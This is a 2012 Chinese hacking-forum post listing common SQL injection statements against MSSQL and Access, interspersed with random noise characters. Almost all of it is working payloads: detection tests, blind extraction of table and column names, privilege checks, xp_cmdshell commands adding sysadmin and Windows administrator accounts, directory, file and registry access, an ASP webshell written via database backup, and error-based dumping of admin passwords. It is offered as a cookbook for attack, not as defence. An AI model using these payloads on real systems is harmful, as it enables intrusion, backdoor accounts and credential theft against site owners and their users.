找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1808|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 . T* x6 m! S/ _" f% U
;and 1=1 9 u7 M2 g. t. t  |( i5 U4 `* t0 w
;and 1=2 % t/ b! m# u/ ^. W8 Q. P6 O
( @1 T" J5 j' A# u6 d
2.初步判断是否是mssql - @$ |# [" Y1 @" J* g
;and user>0 - w0 T( F$ s3 P7 T
/ d/ o5 l/ A. a  f# Y  f
3.判断数据库系统
1 T, y9 l9 }/ M% \+ R, O;and (select count(*) from sysobjects)>0 mssql
: _' `) W4 a0 G' H+ \" u;and (select count(*) from msysobjects)>0 access
7 k$ l% L! z# f- w  F5 `$ x  {) b
- H; S8 u9 a7 _4.注入参数是字符
' n, L6 z1 G+ y8 A'and [查询条件] and ''=' & O* ^2 l9 E6 L9 Q0 G+ Z

! K; r5 ~. h: O+ I5 L0 ~6 ~5.搜索时没过滤参数的
2 N9 c/ U; s# U: d'and [查询条件] and '%25'='
7 D# D6 D5 L" \9 F: V' |
1 y. m) f( }4 c! g6.猜数表名 1 M* C9 Q* K2 O) f, N6 g* g
;and (select Count(*) from [表名])>0 * d8 J) N$ W) k/ x( V$ c

9 _: M' V" m2 e: _# a7.猜字段   J. d2 E4 f/ S- f* V; B
;and (select Count(字段名) from 表名)>0
$ F( a) n  r7 ~2 R& U+ P* M+ p) p
8.猜字段中记录长度
5 n: e* K' D8 r" i  Y, y5 W) L' z;and (select top 1 len(字段名) from 表名)>0 0 n9 L+ J$ m# d, U  L: o5 y. h5 }$ S
' n: ~# o' {2 S7 m" q/ u0 b
9.(1)猜字段的ascii值(access)   G( w- i7 w. o; c5 T4 X
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
3 R0 a( K7 s4 h: T% n
9 o) W5 z% d9 F$ j& l9 o- P(2)猜字段的ascii值(mssql)
$ g" c6 |$ l4 f& p4 d0 _;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 8 ~, Y2 H/ e! q7 ^( {$ Y

) j4 y; @, \! }8 m10.测试权限结构(mssql)
  w/ W2 x5 h  @- N;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- * L, d# W& s$ _  {# r$ B
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
/ w0 F& r( k! C2 S& P: s) \* s;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
# Q0 B4 F9 a; W! {. k) e1 d+ H;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 2 R8 ^& W& G( A: Y' K6 Y% r
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
; q! Y+ O4 ?) Q;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- . `2 U$ e' }# I! ?! L" V
;and 1=(select IS_MEMBER('db_owner'));-- 7 l1 q  O. O) x+ K

3 c  i) c! q' w$ v$ a11.添加mssql和系统的帐户 , V, ^, S2 r. i: L: Q
;exec master.dbo.sp_addlogin username;--
* }+ w; ~) d/ t7 G/ q$ z;exec master.dbo.sp_password null,username,password;-- 0 x- r* R& R5 ]$ \& _8 l, n5 _
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
& K' Q2 Z, X% X. ~/ t3 Y: v;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- ( j0 c  W: K$ d9 Z2 g8 n( K
;exec master.dbo.xp_cmdshell 'net user username password /add';--
% m% T, s2 h2 d9 S" l6 y0 M& U;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
  a1 Z! N5 s$ ]8 G: ^9 I
2 j3 |! }% r% p: I12.(1)遍历目录 / ]) P8 E2 M) e* V& ]. R3 S
;create table dirs(paths varchar(100), id int)
- z" B0 T! q& G  ]  f7 T. x* W" j7 a;insert dirs exec master.dbo.xp_dirtree 'c:\'
% G' m% V5 M1 p1 A, {- B1 p;and (select top 1 paths from dirs)>0
2 P  a# U0 B& M0 F# `;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 7 S% n, F5 [; c) c9 _8 r6 F. @
: n! T0 U1 q, f' W1 h, S' o# P
(2)遍历目录 5 S& \2 Z" X- X3 m
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
& R* b* D7 d& M" v( s;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 " b1 Q2 \0 l" M
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 . C1 [- C1 L, @  ~7 s- t
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
/ [' ?; N% V! A) Z# m;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 / Q3 q$ C9 _6 V+ b* Q
- f& B% g5 m. [
13.mssql中的存储过程
$ O3 w7 T5 g# pxp_regenumvalues 注册表根键, 子键 0 x9 w3 e; r8 n/ S8 U1 o1 w
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 & y) C8 e" F2 ?- y0 f: t
xp_regread 根键,子键,键值名 " {' K' U  _' u! [# X# {
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
2 ~, ?0 p1 w2 y# V3 L3 axp_regwrite 根键,子键, 值名, 值类型, 值
1 h8 {  K/ l+ b/ Z值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ( K7 G: ~% O2 ^6 I3 Q7 p
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
6 Q7 `* k( X7 s2 x. qxp_regdeletevalue 根键,子键,值名   E8 Q+ D4 @/ s; v3 F" E
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 ) W: ^; [9 c- ]; m" F
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 % {4 e1 U( F9 e; w2 j

1 r. }* d5 R, z- u$ w14.mssql的backup创建webshell
' L! T9 M' W3 i: d* cuse model 3 B& K" \; W1 ?: q: z8 ^
create table cmd(str image);
+ D. V# h5 {6 u0 r# \2 L- ]insert into cmd(str) values ('<% Dim oScript %>');
2 O# G$ C9 A9 M  X0 X' sbackup database model to disk='c:\l.asp';
) M6 t4 B" K2 L6 R2 W- |4 ^' j9 z* _# H1 s2 u5 {
15.mssql内置函数
& p* U3 v! r6 ~: ^. |5 o4 {;and (select @@version)>0 获得Windows的版本号 & J2 O9 K2 _( U0 \& s; b$ `$ y
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
) V! v8 u( o* s& S9 F' L;and (select user_name())>0 爆当前系统的连接用户
3 C$ C6 q/ O7 O9 E  _( H4 r;and (select db_name())>0 得到当前连接的数据库
  K# V3 a9 ~! R0 @/ j! G1 D) r6 k/ _$ K& \3 A5 ?  D+ _

& k) D8 m  z* m+ m
3 B8 p& D) K  F( o7 RMSSQL手注暴库8 Q$ D% M3 c1 V
' p" B2 Q* B; T* u1 a/ \4 D& \
1.暴出当前表名和列名
, s; P+ i8 H# @3 k/ @! A在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
; y9 |+ o0 N. ]* g# b0 Z9 F4 F8 m6 B& {) U5 Q% a
第一.爆出所有数据库名
$ l4 }# U$ g. i利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
: R! U- ~9 T" Z( S% u第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
4 ?, g) k5 {+ D, i: I5 k( \1 p' u3 W% r: x9 d8 p( ]# M/ ]; _
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
1 {* k3 M" H* h% V7 d5 @& A
# p$ A. Z: K1 v& i3 d7 \
, [# U; w/ T& C; A8 M8 U6 `# {+ }第二.爆出指定库中的所有表名1 h. ]: m3 t3 _6 H$ R$ t
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。& n7 f) r) n4 E6 A2 m& ^. O1 a9 D
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
$ {! J" K' L( b6 E5 a) {- V! L; Y0 S7 ?( [5 R4 m1 y
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
4 `+ C& [" T, e7 |! g4 iand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
: D: p( n' D$ |  h6 ^and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--* u- M  h- \" T7 M$ M) f

; L+ Q' i/ s* o) [9 }4.爆出指定表中的所有列名
* q$ i& E0 _# N: h1 X: J  _6 |and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) ! J8 H5 n/ m  k) \
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
3 U: M% {& i6 Z* ]# N
& J' D" X0 e/ i" d8 g, Aand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名3 F8 H6 r; y0 @- M& P

' t. T3 @- L7 r' f) V8 ]# A, G再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- 5 Q( o1 J& a7 j' j  U# E
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。- J/ L  l- W$ [/ ~
- M' c# X4 z8 M: H' o

: ^# o& h* X8 Tand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
* }7 V- e! w. f9 U2 G+ {
. C, X" R& k- h4 x1 S  Kand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名7 |6 R# ?9 F9 q8 ~
' G0 @6 w( S: r- M
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- ) q  ?- K: B& b8 v/ c* n% v
, J$ t2 j/ m0 n( \  {' q

" i) B7 @# Z6 ?$ K
6 x, q2 X: ]+ Q) U1 O5.读取指定表中的数据
3 _$ F. |: O. c! [4 `; N9 E2 t) ~) M# ?+ R/ R, t: d0 u7 |4 E
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 ) P" H7 X1 n% H+ s& ]/ f* w

, v: S# I0 b  K+ U" gand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--2 n) U  [/ m6 n7 j9 M+ F& [
4 w) V7 J( a5 s$ R5 {: D
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码/ \$ s- U7 n& K4 N9 ~# t

9 I+ q( o" C  [; @! `+ a5 g, M1 {% {/ h& \
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
9 W3 r6 s/ ?8 `7 Z, [6 o2 J
& \% K1 @, \  N8 o3 sand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang). v8 F# a& x; U, F0 c

6 _* v: `% b: z2 Xand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
1 O6 j: ^* G) s; O8 I, y; b, D6 U& I& _9 k, H3 c* k
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。2 S5 g8 w0 |7 v4 h" n5 ^9 W3 {6 c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表